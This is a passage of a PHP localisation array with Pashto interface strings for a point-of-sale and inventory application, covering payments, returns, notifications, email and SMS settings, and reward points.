'موضوع رنګ', 'quantity_error_msg_in_lot' => 'یوازی :qty :unit په ټاکل شوي لاټ کې شتون لري', 'show_product_expiry' => 'د محصول د پای نیټه ښکاره کړئ', 'show_lot_number' => 'د لاټ شمیره ښکاره کړئ', 'expiry' => 'د پای نیټه', 'lot' => 'لاټ', 'lot_n_expiry' => 'لاټ او د پای نیټه', 'pos_edit_product_price_help' => 'د محصول، واحد، بیه او مالیې سمول', 'name' => 'نوم', 'payment_type' => 'د تادیاتو ډول', 'manage_payment_account' => 'ستاسو د تادیاتو حساب اداره کړئ', 'all_payments' => 'ټوله تادیات', 'payment_note' => 'د تادیاتو یادداشت', 'payment_account_deleted_success' => 'د تادیاتو حساب په بریالیتوب سره پاک شو', 'payment_account_updated_success' => 'د تادیاتو حساب په بریالیتوب سره تازه شو', 'payment_gateway' => 'د آنلاین تادیاتو ګیټ وي', 'payment_account_success' => 'د تادیاتو حساب په بریالیتوب سره اضافه شوی', 'payment_account' => 'د تادیاتو حساب', 'tooltip_sell_product_column' => 'کلیک <i>د محصول نوم</i> چې بیه سمه کړئ, رعایت او مالیه. <br/>کلیک <i>تبصره انځیک</i> د سیریل نمبر / IMEI یا اضافی یاداښت داخل کړئ.<br/><br/>کلیک <i>تغیراتو انځیک</i>(که چیرې فعال وي) د تغیراتو لپاره', 'credit_limit' => 'د کریډیټ محدودیت', 'credit_limit_help' => 'د نه محدودیت لپاره خالی پریږدی', 'cutomer_credit_limit_exeeded' => 'د ګیراک کریډیټ محدودیت حد ته رسیدلی <br>:credit_limit', 'custom_payment_1' => 'دودې تادیات ۱', 'custom_payment_2' => 'دودې تادیات ۲', 'custom_payment_3' => 'دودې تادیات ۳', 'transaction_no' => 'د راکړې ورکړې شمېره', 'file' => 'فایل', 'size' => 'اندازه', 'date' => 'نیټه', 'age' => 'عمر', 'create_new_backup' => 'نوی بیک آپ جوړ کړئ', 'all_sales' => 'ټول خرڅلاو', 'opening_balance' => 'پرانستې توازن', 'opening_balance_due' => 'د پور پرانستې توازن', 'import_contacts' => 'د اړیکو واردول', 'contact_type_ins' => '<strong>موجود انتخابونه: ګیراک، عرضه کوونکی او دواړه</strong>', 'contact_id_ins' => 'خالی پریږدی چي په اتومات ډول د تماس پیژند تولید کړئ', 'required_if_supplier' => 'اړینه ده که د اړیکو ډول عرضه کوونکي وي یا دواړه', 'pay_term_period_ins' => 'موجود انتخابونه: ورځی او میاشتی', 'your_username_will_be' => 'ستاسو کارن نوم به وي', 'currency_exchange_rate' => 'اسعارو تبادله بیه', 'select_all' => 'ټول غوره کړئ', 'deselect_all' => 'ټول نا غوره کړئ', 'duplicate_product' => 'د محصول نقل', 'delete_selected' => 'غوره شوي پاک کړئ؟', 'no_row_selected' => 'هیڅ قطار غوره نه شو', 'duplicate_sell' => 'دوه ځله خرڅول', 'duplicate_sell_created_successfully' => 'دوه ځله خرڅول په بریالیتوب سره رامینځ ته شو', 'modules' => 'ماډلونه', 'theme' => 'موضوع', 'account' => 'حساب', 'expense_payment' => 'د مصرف تادیه', 'expense' => 'مصرف', 'disabled_in_demo' => 'په امتحانې نسخه کې برخي غیر فعال دي!!', 'selling_price_group' => 'د خرڅول د بيې ډله', 'all_selling_price_group' => 'د خرڅولو د بيې ټول ډلی', 'add_selling_price_group' => 'د خرڅولو د بيې ډله اصافه کړئ', 'edit_selling_price_group' => 'د خرڅولو د بیې ډله سمول', 'access_selling_price_groups' => 'د خرڅول د بيې ډلو ته لاس رسی', 'save_n_add_selling_price_group_prices' => 'ثبت او د خرڅولو د بيې د ډلي بیه اضافه کړئ', 'add_selling_price_group_prices' => 'د ډلو بیه اضافه کول یا سمول', 'default_selling_price_inc_tax' => 'همیشه خرڅوونکي بیه (مالیه شامله ده)', 'variation' => 'توپیر', 'price_group' => 'د بيې ډله', 'group_price' => 'د ډلي بیه', 'default_selling_price' => 'همیشه د خرڅولو بیه', 'price_group_help_text' => 'د خرڅولو بيې ډله چې تاسو یې غواړئ خرڅ کړئ', 'group_prices' => 'د بیو ډله', 'view_group_prices' => 'د بیو ډله ښکاره کړئ', 'save_n_add_another' => 'ثبت او یو بل اضافه کړئ', 'update_n_add_another' => 'تازه او یو بل اضافه کړئ', 'subtotal_editable' => 'د سمون وړ فرعي مجموعه', 'subtotal_editable_help_text' => 'د دې لپاره نښه کړئ چې د فرعي مجموعه ساحه د هر محصول لپاره د POS په سکرین کې د بدلون وړ وي', 'notification_templates' => 'د خبرتیا چوکاټونه', 'new_sale' => 'نوی خرڅلاو', 'payment_reminder' => 'د تادیاتو پیادول', 'payment_received' => 'تاديه ترلاسه شوه', 'new_booking' => 'نوی بکینګ', 'new_order' => 'نوی امر', 'payment_paid' => 'تاديه شوې', 'items_received' => 'توکي ترلاسه شوي', 'items_pending' => 'توکي معطله دي', 'customer_notifications' => 'د ګیراک خبرتیاوې', 'supplier_notifications' => 'د عرضه کوونکي خبرتیاوې', 'email_subject' => 'د بریښنالیک عنوان', 'email_body' => 'د بریښناليک متن', 'sms_body' => 'د ایس ایم ایس متن', 'available_tags' => 'نښې موجد دي', 'send_notification' => 'خبرتیا استول', 'new_sale_notification' => 'د نوی خرڅلاو خبرتیا', 'send_email_only' => 'یوازې بریښناليک ولیږئ', 'send_sms_only' => 'یوازې ایس ایم ایس ولیږئ', 'send_both_email_n_sms' => 'بریښنالیک او ایس ایم ایس دواړه واستوئ', 'to' => 'ته', 'mobile_number' => 'د موبایل شمیره', 'send' => 'ولیږه', 'notification_sent_successfully' => 'خبرتیا په بریالیتوب سره ولیږل شوه', 'payment_received_notification' => 'د پیسو ترلاسه کولو خبرتیا لیږل', 'send_payment_reminder' => 'د تادیاتو پیادول لیږل', 'new_order_notification' => 'د نوی امر خبرتیا', 'item_received_notification' => 'د توکو ترلاسه کولو خبرتیا', 'item_pending_notification' => 'د توکو د معطلۍ خبرتیا', 'payment_paid_notification' => 'د تادیې د ورکړي خبرتیا', 'mail_host' => 'هاسټ', 'mail_port' => 'پورټ', 'mail_username' => 'کارن نوم', 'mail_password' => 'پټ نوم', 'mail_encryption' => 'کوډیزون', 'mail_from_address' => 'له پتې', 'mail_from_name' => 'له نامه', 'mail_encryption_place' => 'tls / ssl', 'email_settings' => 'د بریښنالیک ترتیبونه', 'sms_settings' => 'د ایس ایم ایس ترتیبونه', 'send_to_param_name' => 'د پیژندونکی نوم ته واستوئ', 'msg_param_name' => 'د پیغام د پیژندونکی نوم', 'sms_settings_param_key' => 'پیژندونکی :number key', 'sms_settings_param_val' => 'پیژندونکی :number value', 'sending' => 'استول', 'request_method' => 'د غوښتنلیک طریقه', 'purchase_return' => 'د خریدارۍ واپسي', 'return_quantity' => 'د واپسي مقدار', 'return_subtotal' => 'د واپسي فرعي مجموعه', 'quantity_left' => 'مقدار پاتې دی', 'return_total' => 'د ټولو واپسي', 'total_return_tax' => 'د ټولو د واپسي مالیه', 'purchase_return_added_success' => 'د خریدارۍ واپسي په بریالیتوب سره اضافه شوه', 'list_purchase_return' => 'د خریدارۍ د واپسي لیست', 'all_purchase_returns' => 'د ټولو خریدارۍ واپسې', 'parent_purchase' => 'پلرنې خریداري', 'purchase_return_details' => 'د خریدارۍ د واپسې معلومات', 'return_date' => 'واپسې نیټه', 'parent_sale' => 'پلرنې خرڅلاو', 'sell_quantity' => 'د خرڅولو مقدار', 'total_return_discount' => 'د واپسې د رعایت مجموعه', 'sell_return_details' => 'د خرڅ شوو واپسې معلومات', 'sell_details' => 'خرڅلاو معلومات', 'return_discount' => 'واپسي رعایت', 'total_unit_transfered' => 'ټول واحد انتقال شوی', 'total_unit_adjusted' => 'ټول واحد تعدیل شوی', 'return_exist' => 'واپسي د راکړې ورکړې لپاره شتون لري، واپسي په ځای کې سمول.', 'synced_from_woocommerce' => 'مطابقت د Woocommerce سره', 'available_stock_expired' => ' یا موجود سټاک تر وخت تیر شوي.', 'sell_payments' => 'د POS سکرین ته د خرڅولو تادیه لیست اضافه کول/سمول/پاک کولو اجازه.', 'purchase_payments' => 'د خریدارۍ په لیست کي د تادیاتو اضافه کول/سمول/پاک کولو اجازه', 'sell.payments' => 'د تادیاتو اضافه کول/سمول/پاکول', 'purchase.payments' => 'د تادیاتو اضافه کول/سمول/پاکول', 'view_payment' => 'تادیه ښکاره کول', 'card_number' => 'کارت شمیره', 'transaction_number' => 'د راکړي ورکړي شمیره', 'card_holder_name' => 'د کارت لرونکي نوم', 'card_number' => 'کارت شمیره', 'card_transaction_number' => 'د کارت لیږد شمیره', 'cheque_number' => 'د چیک شمیره', 'commsn_percent_help' => "یواځې کارول کیږي، که د خرڅولو په کمیشن استازي د ترتیب ډول وي: 'ننوتي کارن' یا 'د کاروونکي لیست څخه غوره کړئ'", 'max_amount_to_be_paid_is' => 'ډیره اندازه ده :amount', 'adjusted_for' => 'برابر شوی لپاره', 'some_qty_returned' => 'ځینې مقدارونه د دې خریدارۍ څخه واپس شوي دي', 'total_purchase_return' => 'ټول د خریدارۍ واپسي', 'total_purchase_return_paid' => 'د خریدارۍ د واپسې ټوله پیسي ادا شوی', 'total_purchase_return_inc_tax' => 'د مالیې په شمول د ټولو خریدارۍ واپسي', 'purchase_sell_report_formula' => 'ټولټال (خرڅ د خرڅ واپسي - خریداري - د خریدارۍ واپسي)', 'purchase_return_due' => 'د خریدارۍ د واپسې پور', 'total_purchase_return_due' => 'د ټولو خریدارۍ د واپسې پور', 'receive_purchase_return_due' => 'د خریدارۍ د واپسې لاسته راوړلو پور', 'some_qty_returned_from_sell' => 'ځینې مقدارونه د دې خرڅلاو څخه واپس شوي دي', 'sell_due' => 'د خرڅ شوو پور', 'sell_return_due' => 'د خرڅ شوو د واپسې پور', 'total_sell_return_due' => 'د خرڅ شوو د واپسې ټوله پور', 'pay_sell_return_due' => 'د خرڅ شوو د واپسې د اداکولو پور', 'total_sell_return' => 'د خرڅ شوو ټوله واپسي', 'total_sell_return_paid' => 'د خرڅ شوو د واپسې ټوله پیسي ورکړل شوی', 'total_sell_return_inc_tax' => 'د مالیې په شمول د خرڅ شوو د واپسې مجموعه', 'tooltip_columnize_taxes_heading' => 'د سرلیکونو لپاره د مالیې نوم درج کړئ، سرلیک باید د مالیې نوم کې حاضر وي. د بیلګي په توګه سرلیک کیدلاشي: CGST, SGST, IGST & CESS. د مالیې نومونو لپاره CGST@8% یا CGST@10%; SGST@10% یا SGST@8% او داسی نور', 'sales_payment_dues' => 'د خرڅلاو د تادیې پور', 'purchase_payment_dues' => 'د خریدارۍ د تادیې پور', 'tooltip_sales_payment_dues' => "معطله تادیه د خرڅلاو لپاره <br/><small class='text-muted'>د رسید د شرائیطو پر بنسټ. <br/> هغه پیسې چې په ۷ ورځو یا لږو کې ترلاسه کیږي ښودل شوي.</small>", 'edit_product_price_from_sale_screen' => 'د محصول بیه سمول په POS سکرین کې یا د خرڅلاو په سکرین ګې', 'edit_product_discount_from_sale_screen' => 'د محصول رعایت سمول په POS سکرین کې یا د خرڅلاو په سکرین ګې', 'autosend_email' => 'اتومات بریښناليک ولیږئ', 'autosend_sms' => 'اوتومات ایس ایم ایس ولیږئ', 'enable_selected_contacts' => 'غوره شوي تماسونه محدود کړئ', 'tooltip_enable_selected_contacts' => 'غوره شوی تماسونو لاس رسی محدود کړي خرڅلاو/خریدارۍ او ګیراک/عرضه کوونکې د لټون په بکس کې', 'selected_contacts' => 'تماسونه غوره کړئ', 'view_role' => 'رول ښکاره کړئ', 'delete_role' => 'رول پاک کړئ', 'mail_driver' => 'بریښنالیک چلوونکی', 'disable_suspend_sale' => 'د خرڅلاو ځنډول غیر فعال کړئ', 'suspend' => 'ځنډول', 'suspend_note' => 'ځنډولو یادداښت', 'suspend_sale' => 'خرڅلاو ځنډول', 'view_suspended_sales' => 'ځنډول شوی خرڅلاو ښکاره کړئ', 'suspended_sales' => 'ځنډول شوي خرڅلاو', 'tooltip_suspend' => 'د خرڅلاو ځنډول (بندیز)', 'business_telephone' => 'د سوداګریز اړیکو شمیره', 'accept_terms_and_conditions' => 'د شرایطو او شرایطو قبولول', 'terms_conditions' => 'شرطونه او شرایط', 'select_base_unit' => 'بنسټي واحد غوره کړئ', 'times_base_unit' => 'واحد د وخت پر بنسټ', 'multi_unit_help' => 'دا واحد د نورو واحدونو په توګه تعریف کړئ <br><strong>بیلګه: ۱ درجن = ۱۲ ټوټې</strong>', 'add_as_multiple_of_base_unit' => 'د نورو واحدونو په څیر اضافه کړئ', 'product_description' => 'د تولید ځانګړتیاوې', 'click_here' => 'دلته زور ورکړی', 'for_more_info' => 'د لا زیاتو معلوماتو لپاره', 'username_help' => 'خالی یی پریږدی چي په اوتومات ډول کارن نوم تولید کړي', 'status_for_user' => 'فعال دی؟', 'tooltip_enable_user_active' => 'د کارن نوم فعالولو/غیر فعالول لپاره نښه/غیر نښه کړئ', 'user_inactive' => 'بخښنه، دا حساب غیر فعال دی', 'calculator' => 'کالکولیټر', 'fields_for_customer_details' => 'د ګیراک د معلوماتو لپاره اضافي ساحې', 'show_previous_bal_due' => 'د پور مجموعه ښکاره کړئ (ټوله خرڅلاو)', 'previous_bal_due_help' => 'د ګیراک د ټول پور ښکاره کولو لپاره (که وجود ولري) دغه ساحه نښه کړئ', 'all_sales' => 'ټول خرڅلاو', 'current_sale' => 'جاري خرڅلاو', 'view_invoice_url' => 'د رسید URL', 'copy' => 'کاپي', 'extra_tags' => 'اضافي لیکونه', 'date_time_format' => 'د نیټه وخت بڼه', 'date_time_format_help' => "د نیټی او وخت بڼه داخله کړئ په <a target='_blank' href='http://php.net/manual/en/function.date.php'>د PHP نیټي وخت بڼه</a>. که خالي وي، د سوداګریز نیټې وخت بڼه به پلي شي", 'all' => 'ټول', 'detailed' => 'تفصیل', 'grouped' => 'وګړل شوی (د تاریخ لخوا)', 'disable_recurring_invoice' => 'د رسید بیاکتنه غیر فعالول', 'is_recurring' => 'بیا کتل کیږي', 'recurring_invoice_help' => 'که ګډون کړی شوی وي، نو دا رسید به په اتومات ډول د وقتي وقفو په واسطه تولید شي.<br>تاسو کولی شئ دا خاصیت غیر فعال کړئ په <code>Settings > Business Settings > Modules</code>', 'recurring_invoice' => 'د رسید بیاکتنه', 'years' => 'کلونه', 'no_of_repetitions' => 'د تکرار شمیره', 'recur_repetition_help' => 'که خالي وي، انوائس به ناپاک وختونه تولید کړي', 'recurring_invoice_message' => 'د ګډون شمیري لپاره نوی رسید تولید شوی:<i>:subscription_no</i>, رسید شمیره: <i>:invoice_no</i>', 'notifcation_count_msg' => 'تاسو لري :count notifications', 'no_notifications_found' => 'هیڅ خبرتیا ندی موندلی', 'edit_multi_unit_help_text' => 'د دې ارزښت تعدیل به په ورته توګه د خریدارۍ او خرڅلاو سټاکونه بدل کړي', 'sale_price_is_minimum_sale_price' => 'د خرڅولو نرخ د خرڅلاو لږ قیمت دی', 'minimum_sale_price_help' => 'که چیرې دا فعاله وي، د POS یا د پلور سکرین په مستقیم ډول د پلور نرخ به د محصول لپاره د خرڅلاو نرخ وي. تاسو نشي کولی د اصلي بیې څخه نرخ کم کړئ.', 'minimum_selling_price_error_msg' => 'لږ تر لږه د خرڅولو نرخ دی :price', 'lot_numbers_are_used_in_sale' => 'نشي پاکولای، د دې خریدارۍ څخه ځینې لاټونه یې لا دمخه خرڅ شوي دي', 'created_at' => 'جوړ شوی', 'years' => 'کلونه', 'download' => 'کښته کول', 'previous_file_will_be_replaced' => 'پخوانۍ پورته شوې دوتنه به بدله شي', 'access_accounts' => 'حسابو ته لاس رسی', 'payment_accounts' => 'تادیاتو حسابونه', 'total_shipping_charges' => 'د ټولو تدارکاتو مصارف', 'recurring_invoice_error_message' => 'د ګډون لپاره د رسید جوړولو توان نلري.: <i>:subscription_no</i>. اړین سټاک د محصول لپاره شتون نلري <i>:product_name</i>', 'load_more' => 'نور پورته کړئ', 'cash_flow' => 'نغدو پيسو', 'subscribe' => 'ګډون وکړئ', 'subscription_interval' => 'د ګډون وقاله', 'enable_subscription' => 'د ګډون فعالول', 'subscription_no' => 'د ګډون شمېره', 'start_subscription' => 'ګډون پیل کړئ', 'stop_subscription' => 'ګډون بند کړئ', 'subscriptions' => 'ګډونونه', 'generated_invoices' => 'تولید شوي رسیدونه', 'last_generated' => 'اخری تولید شوی', 'upcoming_invoice' => 'راتلونکی رسید', 'total_sales_return' => 'د خرڅلاو د واپسې مجموعه', 'subscription_invoice' => 'د ګډون رسید', 'subscribed_invoice' => 'ګډون شوي رسید', 'view_document' => 'لاسوند وګورئ', 'invoice_url_help' => 'ونښلوي چې د ننوتلو پرته د رسید لیدل.', 'unit_cannot_be_deleted' => 'د دې واحد سره محصولات شتون لري؛ نشي پاکولای', 'expiry_date_in_business_date_format' => 'د سټاک د پای نیټه په <b>Business date format</b>', 'product_stock_details' => 'د محصول سټاک معلومات', 'search' => 'لټون', 'total_sold' => 'ټول خرڅ شوي', 'total_stock_available' => 'ټول سټاک موجود دی', 'total_stock_transfered_to_the_location' => 'ټول سټاک ځای ته لیږدول شوي', 'total_stock_transfered_from_the_location' => 'د ځای څخه لیږل شوي ټول ذخیره', 'total_stock_calculated' => 'ټول سټاک محاسبه شوې', 'adjust_stock_mismatch' => 'اصلاح کول د سټاک تفاوت', 'opening_balance_payments' => 'د تادیاتو توازن پرانیستل', 'enable_service_staff_in_product_line' => 'د محصول په لیکه کې د خدماتو کارمندانو وړ کړئ', 'inline_service_staff_tooltip' => 'که چیرې د خدمت وړ بیلابیل خدمت کارمندان د سپارښت / پلور لپاره مختلف محصولاتو لپاره وټاکل شي', 'line_orders' => 'د کرښې ترتیبات', 'total_tax' => 'ټول ټکس', 'total_discount' => 'ټوله تخفیف', 'net_price' => 'خالص قیمت', 'select_same_for_all_rows' => 'د ټولو محصولاتو لپاره ورته ارزښت وټاکئ', 'edited' => 'ایډیټ', 'by' => 'لخوا', 'upload_documents' => 'اپلوډ اسناد', 'documents' => 'لاسوندونه', 'click_to_print' => 'د چاپ لپاره کلیک وکړئ', 'deactivated_success' => 'په بریالیتوب سره غیر فعال شوی', 'products_could_not_be_deleted' => 'ځینې محصولات حذف نه شو ځکه چې دا د دې پورې اړوندې معاملې لري.', 'price' => 'بیه', 'auto_backup_instruction' => 'د خودکار بیک اپ او بیک اپ پاکولو راکړل کولو لپاره تاسو باید د دې کمانډ سره یو کرون وظیفه سیټ اپ کړئ', 'gross_profit' => 'ټولټال ګټه', 'single' => 'واحد', 'variable' => 'تغیر وړ', 'total_purchase_price' => 'د پیرود مجموعه', 'total_sell_price' => 'د پلور مجموعه نرخ', 'packing_slip' => 'د بسته بندۍ ', 'use_superadmin_email_settings' => 'د سیسټم بریښنالیک تشکیلات وکاروئ', 'profit_by_products' => 'د محصولاتو لخوا ګټه', 'profit_by_categories' => 'د کټګوریو لخوا ګټې', 'profit_by_brands' => 'د برانڈونو لخوا ګټه', 'profit_by_locations' => 'د موقعیتونو لخوا ګټه', 'profit_by_invoice' => 'د رسید په واسطه ګټه', 'profit_by_date' => 'د نیټې لخوا ګټه', 'uncategorized' => 'بې برخې شوي', 'add_purchase_return' => 'د پیرود بیرته راستنول', 'edit_purchase_return' => 'د پیرود بیرته ستنول', 'purchase_return_updated_success' => 'د پیرود بیرته ستنیدل په بریالیتوب سره تازه شوي', 'profit_by_customer' => 'د پیرودونکي لخوا ګټه', 'profit_by_day' => 'د ورځې لخوا ګټه', 'sunday' => 'یک شنبه', 'monday' => 'دوشنبه', 'tuesday' => 'سه شنبه', 'wednesday' => 'چهارشنبه', 'thursday' => 'پنجشنبه', 'friday' => 'جمعه', 'saturday' => 'شنبه', 'show_product_image' => 'د محصول عکس وښایاست', 'view_user' => 'کارن وګورئ', 'allow_selected_contacts' => 'ټاکل شوي اړیکو ته اجازه ورکړئ', 'allow_selected_contacts_tooltip' => 'یوازې په پلور / پیرودونکي پیرودونکي / عرضه کونکي لټون بکس کې ټاکل شوي اړیکو ته لاسرسي ته اجازه ورکړئ', 'allowed_contacts' => 'اجازه ورکړل شوي اړیکې', 'view_purchase_price' => 'د پیرود نرخ وګورئ', 'view_purchase_price_tooltip' => 'اجازه د محصول تفصیلات، سټاک لیږد او سټاک تنظیم کې د پیرود نرخ لیدل', 'created' => 'جوړ شوی', 'updated' => 'تازه شوی', 'deleted' => 'حذف شوی', 'day' => 'ورځ', 'is_service_staff_required' => 'ایا د خدمت کارمندان اړین دي', 'items_report' => 'د توکو راپور', 'purchase_price' => 'د پیرودلو بیه', 'sell_date' => 'د پلور نیټه', 'returned' => 'بیرته راغلی', 'dob' => 'د زیږون نیټه', 'married' => 'واده شوی', 'unmarried' => 'بې واده', 'marital_status' => 'مدني حالت', 'blood_group' => 'د وینې ګروپ', 'divorced' => 'طلاق ورکړل شوی', 'contact_no' => 'د اړیکې شمیره', 'fb_link' => 'فېسبوک لینک', 'twitter_link' => 'ټویټر لینک', 'social_media' => 'ټولنیز رسنۍ :number', 'permanent_address' => 'دایمي پته', 'current_address' => 'اوسنی پته', 'guardian_name' => 'د ساتونکي نوم', 'custom_field' => 'د ګمرک ساحه :number', 'bank_details' => 'د بانک توضیحات', 'account_holder_name' => 'د حساب لرونکي نوم', 'account_number' => 'ګڼون شمېره', 'bank_name' => 'د بانک نوم', 'bank_code' => 'د بانک پیژندونکي کوډ', 'bank_code_help' => 'ستاسو په هیواد کې د بانک پیژندلو لپاره ځانګړی کوډ , د مثال په توګه: IFSC کوډ', 'branch' => 'څانګه', 'tax_payer_id' => 'د مالیه ورکونکي پیژند', 'tax_payer_id_help' => 'د کارمند د مالیې شمیره ID , د مثال په توګه , په هندوستان کې د پین کارت', 'more_info' => 'نور معلومات', 'id_proof_name' => 'د ID ثبوت نوم', 'id_proof_number' => 'د ID پیژند شمیره', 'view_own_sell_only' => 'یوازې خپل پلور وګورئ', 'reward_point_settings' => 'د انعکاس نقطه امستنې', 'enable_rp' => 'د انعکاس ټکی فعال کړئ', 'rp_name' => 'د انعام د ښودنې نوم', 'amount_for_unit_rp' => 'د واحد ټکي لپاره د پیسو مصرف', 'min_order_total_for_rp' => 'د انعام ترلاسه کولو لپاره لږترلږه حکم', 'max_rp_per_order' => 'په هر حکم کې اعظمي ټکي', 'earning_points_setting' => 'د پوائنټونو ترتیباتو لاسته راوړل', 'redeem_points_setting' => 'د پوائنټونو تنظیمات خلاص کړئ', 'redeem_amount_per_unit_rp' => 'د هر واحد ټکي په بدل کې پیسې ورکړئ', 'min_order_total_for_redeem' => 'د پوائنټونو له سره خلاصولو لپاره لږترلږه حکم', 'min_redeem_point' => 'لږترلږه له سره د خلاصولو ټکی', 'max_redeem_point' => 'په هر فرمایش اعظمي اعاده شوی نقشه', 'rp_expiry_period' => 'د اجر ټکی د پای وخت', 'redeemed_amount' => 'ورکړل شوې پیسې', 'max_points_used' => 'اعظمي :points نقطې کارول کیدی شي', 'reward_points' => 'د انعام ټکي', 'max_reward_point_available' => 'اعظمي :name موجود دی', 'min_reward_points_used' => 'لږترلږه :name کارول کیدی شي', 'redeemed' => 'خلاص شوی', 'available' => 'موجود', 'earned' => 'عاید شوی', 'total_reward_amount' => 'د پیرودونکي مجموعي انعام', 'ledger' => 'ليجر', 'type' => 'ډول', 'show_payments' => 'تادیات وښایاست', 'variation_images' => 'د توپیر انځورونه', 'file_deleted_successfully' => 'فایل په بریالیتوب سره ړنګ شو', 'combo' => 'کامبو', 'not_for_selling' => 'د پلور لپاره نه', 'tooltip_not_for_selling' => 'که چک شوی وي , محصول به د پلور موخې لپاره د پلور اسڪرين کې نه وښودل شي.', 'show_reward_point' => 'د انعام نقطه ښودل', 'enable_booking' => 'بکینګ فعال کړئ', 'bulk_edit' => 'بلک ایډیټ', 'bulk_edit_products' => 'د عمده سمون محصولات', 'search_product_to_edit' => 'د سمولو لپاره محصول لټول', 'related_sub_units' => 'اړوند فرعي واحدونه', 'sub_units_tooltip' => 'د ټاکل شوي واحد پراساس به دا د دې لپاره فرعي واحدونه وښیې. د پلي کیدو وړ فرعي واحد غوره کړئ. خالي پریږدئ که ټول فرعي واحدونه د محصول لپاره پلي کیږي.', 'enable_sub_units' => 'فرعي واحدونه فعال کړئ', 'added_on' => 'اضافه شوی', 'quantity_mismatch_exception' => 'غلطی: نه ورکړل شوی: د پلورل شوي او موجود مقدار تر مینځ توپیر. محصول: :product', 'roles_and_permissions' => 'نقش او اجازه', 'admin_role_location_permission_help' => 'ایڈمن کولی شي ټولو ځایونو ته لاسرسی ولري', 'edit_product_price_from_pos_screen' => 'د POS سکرین څخه د محصول نرخ سمول', 'edit_product_discount_from_pos_screen' => 'د POS سکرین څخه د محصول تخفیف سمول', 'download_template_file' => 'د ټیمپلیټ فایل ډاونلوډ کړئ', 'types_of_service' => 'د خدمت ډولونه', 'add_type_of_service' => 'د خدمت ډول اضافه کړئ', 'packing_charge_type' => 'د بسته بندۍ ډول ', 'packing_charge' => 'بسته بندۍ', 'enable_custom_fields' => 'دودیز ساحې فعال کړئ', 'edit_type_of_service' => 'د خدمت ډول سمول', 'types_of_service_help' => 'د خدماتو ډول پدې معنی دی چې خدمات لکه خواړه, پارسل, د کور تحویلي, د دریمې ډلې تحویلۍ وغيره.', 'select_types_of_service' => 'د خدمت ډولونه وټاکئ', 'service_custom_field_1' => 'د ګمرک ساحه 1', 'service_custom_field_2' => 'د ګمرک ساحه 2', 'service_custom_field_3' => 'د ګمرک ساحه 3', 'service_custom_field_4' => 'د ګمرک ساحه 4', 'default_selling_price_group' => 'د پلور پلور نرخ ګروپ', 'location_price_group_help' => 'دا د نرخ ډله به پدې موقعیت کې د ډیفالټ نرخ ډلې په توګه وکارول شي.', 'default_accounts' => 'اصلي ګ Accountون', 'product_location_help' => 'موقعیتونه چیرې چې محصول به شتون ولري.', 'available_in_locations' => 'ځایونو کې شتون لري', 'enable' => 'وړول', 'payment_options' => 'د تادیې اختیارونه', 'pay_reference_no' => 'د تادیې حواله نمبر.', 'search_settings' => 'د لټون امستنې', 'custom_labels' => 'ګمرکي لیبلونه', 'labels_for_custom_payments' => 'د ګمرکي تادیاتو لیبلونه', 'packed' => 'بسته شوی', 'shipped' => 'استول شوی', 'delivered' => 'سپارل شوي', 'shipping_address' => 'د وړلو او راوړلو پته', 'shipping_status' => 'د بار وړلو حالت', 'delivered_to' => 'ته وسپارل شو', 'edit_shipping' => 'بار وړلو سمول', 'shipments' => 'تحویلي', 'access_shipping' => 'رسولو ته لاسرسی', 'uploaded_by' => 'لخوا پورته شوی', 'account_types' => 'د حساب ډولونه', 'add_account_type' => 'د حساب ډول اضافه کړئ', 'parent_account_type' => 'اصلي حساب ډول', 'edit_account_type' => 'د حساب ډول سمول', 'account_type' => 'د حساب ډول', 'account_sub_type' => 'د حساب فرعي ډول', 'enable_updating_product_price_tooltip' => 'که چیرې د پیرود شوي محصول پیرود نرخ او پلور نرخ د پیرود اضافه کولو یا تازه کیدو وروسته تازه شي', 'default_datatable_page_entries' => 'د ډیټا ډیټا وړ پا pageې ننوتل', 'product_not_found_exception' => 'محصول د SKU :sku سکو په قطار کې ونه موندل شو :row', 'price_group_not_found_exception' => 'د نرخ ګروپ د نوم سره :pg په قطار کې ونه موندل شو :row', 'price_group_non_numeric_exception' => 'د شمېرنې غیر عددي بیه په قطار کې موندل شوې :row', 'total_stock_price' => 'د اوسني سټاک ارزښت', 'test_email_configuration' => 'د ازمونې بریښنالیک واستوئ', 'email_tested_successfully' => 'د بریښنالیک تشکیلات په بریالیتوب سره تایید شوي', 'test_number' => 'د ازموینې شمیره', 'test_sms_configuration' => 'د ټیسټ پیغام واستوئ', 'test_number_is_required' => 'د ازمونې شمیره اړین ده', 'import_contact_type_ins' => 'شتون لرونکي اختیارونه: <strong> <br> <br> 1 = پیرودونکی , <br> 2 = چمتو کونکي 3 = دواړه </strong>', 'enable_pos_transaction_date' => 'په پووس سکرین کې د راکړې ورکړې نیټه فعال کړئ', 'amount_for_unit_rp_tooltip' => '<strong> پدې معنی چې پیرودونکي د یوې جایزې ترلاسه کولو لپاره څومره مصرف کړي. </strong> <br> <br> << بیلګه: </strong> که تاسو دا د 10 په توګه وټاکئ , نو د پیرودونکو لخوا مصرف شوي هر 10 ډالرو لپاره دوی یو به د انعام ټکي ترلاسه کړي. که پیرودونکي د $ 1000 ډالرو لپاره پیرود وکړي نو دوی به د 100 انعام انعامونه ترلاسه کړي. ', 'max_rp_per_order_tooltip' => 'د اعظمي اعظمي نقطې پیرودونکي کولی شي په یوه رسید کې ګټه ترلاسه کړي. دا خالي پریږدئ که تاسو دا ډول بندیزونه نه غواړئ.', 'min_order_total_for_rp_tooltip' => '<strong> لږترلږه پیسې چې پیرودونکي د انعام پوائنټونو ترلاسه کولو لپاره مصرف کړي. </strong> <br> <br> << بیلګه: </strong> که تاسو دا د 100 په توګه ټاکئ نو پیرودونکي به یوازې د انعام ټکي ترلاسه کړي که چیرې هلته وي د انوائس مجموعه 100 یا مساوي ده. که چیرې رسید مجموعه 99 وي نو دوی به د انعام هیڅ ډول لاسته راوړنه ونلري. <br> <br> تاسو کولی شئ دا د لږترلږه 1. په توګه وټاکئ. ', 'redeem_amount_per_unit_rp_tooltip' => '<strong> دا د هرې نقطې د سرخیم مقدار په ګوته کوي. </strong> <br> <br> <strong> د مثال په توګه: </strong> که 1 ټکی $ 1 وي نو ارزښت یې 1 ته ورکړئ. که چیرې 2 ټکي $ 1 وي نو بیا ارزښت د 0.50 په توګه داخل کړئ', 'min_order_total_for_redeem_tooltip' => 'د لږترلږه امر مجموعه چې د دې لپاره پیرودونکي کولی شي ټکي بیرته واخلي. دا خالي پریږدئ که تاسو دې محدودیت ته اړتیا نلرئ یا تاسو اړتیا لرئ په وړیا توګه یو څه ورکړئ.', 'min_redeem_point_tooltip' => 'لږترلږه ریډیم ټکي چې په هر رسید کې کارول کیدی شي. دا 